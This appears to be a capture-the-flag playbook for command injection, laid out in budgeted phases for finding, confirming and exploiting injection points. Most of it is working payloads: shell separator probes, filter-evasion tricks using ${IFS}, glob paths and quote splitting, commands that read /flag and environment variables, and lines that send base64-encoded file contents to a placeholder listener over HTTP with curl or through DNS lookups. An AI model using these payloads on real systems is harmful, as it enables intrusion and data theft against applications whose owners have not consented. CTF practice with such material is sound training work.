# Command Injection Strategy

## Phase 1: Identify Injection Points (budget: 20%)
1. Look for params that might be passed to shell commands:
   - IP/hostname fields (ping, traceroute, nslookup)
   - Filename/path fields (file operations, image processing)
   - Search/filter fields passed to grep, awk, find
   - Any field mentioning "execute", "run", "process"
2. Test each param with time-based detection:
   ```
   ; sleep 5
   | sleep 5
   `sleep 5`
   $(sleep 5)
   & sleep 5
   && sleep 5
   %0a sleep 5
   ```
   If response takes 5+ seconds → confirmed command injection.
3. Also test with output-based:
   ```
   ; id
   | id
   `id`
   $(id)
   ```
   Look for `uid=` in response.

**Decision point:** If no injection after all params → try SSTI, SQLi, or LFI instead. If injection confirmed → identify which separator works.

## Phase 2: Determine Context (budget: 10%)
1. Which separator works? `;`, `|`, `&&`, `$()`, backticks, newline (`%0a`)
2. Is output reflected? (blind vs visible)
3. If blind: use time-based (`sleep N`) or out-of-band (curl to listener)
4. Check for character filters: spaces blocked? → use `${IFS}`, `$IFS`, `{cat,/flag}`, `<` as separator

## Phase 3: Bypass Filters (budget: 20%)

### Space bypass
```
cat${IFS}/flag
cat$IFS/flag
{cat,/flag}
cat</flag
X=$'\x20';cat${X}/flag
```

### Keyword bypass (if 'cat' is blocked)
```
c'a't /flag
c""at /flag
/bin/c?t /flag
tac /flag
head /flag
tail /flag
less /flag
more /flag
nl /flag
sort /flag
rev /flag | rev
xxd /flag
base64 /flag
```

### If quotes are blocked
```
cat /fl$()ag
cat /fl``ag
```

### Path bypass
```
/???/??t /fl??    # /bin/cat /flag
/???/???64 /fl??  # /bin/base64 /flag
```

### Newline injection
```
%0a cat /flag
%0d%0a cat /flag
```

## Phase 4: Flag Extraction (budget: 50%)
1. Direct read: `cat /flag`, `cat /flag.txt`, `cat /app/flag*`
2. Find flag: `find / -name 'flag*' 2>/dev/null`
3. Check environment: `env | grep -i flag`, `printenv FLAG`
4. If blind injection:
   ```python
   # Exfiltrate via HTTP
   curl http://YOUR_LISTENER:8888/$(cat /flag | base64)
   # Exfiltrate via DNS (if HTTP blocked)
   nslookup $(cat /flag | base64).YOUR_DOMAIN
   # Char-by-char via time-based
   if [ $(cut -c1 /flag) = "F" ]; then sleep 3; fi
   ```
5. If restricted shell: try Python/Perl/Ruby one-liners:
   ```
   python3 -c "print(open('/flag').read())"
   perl -e "print qx(cat /flag)"
   ruby -e "puts File.read('/flag')"
   ```

## Pivot Triggers
- No command injection → try SSTI (`{{7*7}}`), SQLi, LFI
- Injection confirmed but output not reflected → set up listener: `python3 -m http.server 8888` and exfil via curl
- All common bypass attempts blocked → try DNS exfiltration, encoding (hex, octal), or alternative interpreters
- Command injection in non-web context (e.g., cron, scheduled task) → check writable paths, crontabs
